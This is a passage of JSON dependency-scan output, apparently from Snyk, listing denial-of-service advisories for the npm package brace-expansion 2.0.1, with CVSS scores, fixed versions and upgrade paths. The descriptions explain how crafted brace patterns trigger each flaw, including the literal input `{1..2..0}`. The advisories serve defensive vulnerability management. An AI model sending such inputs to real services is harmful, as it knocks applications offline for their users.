"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
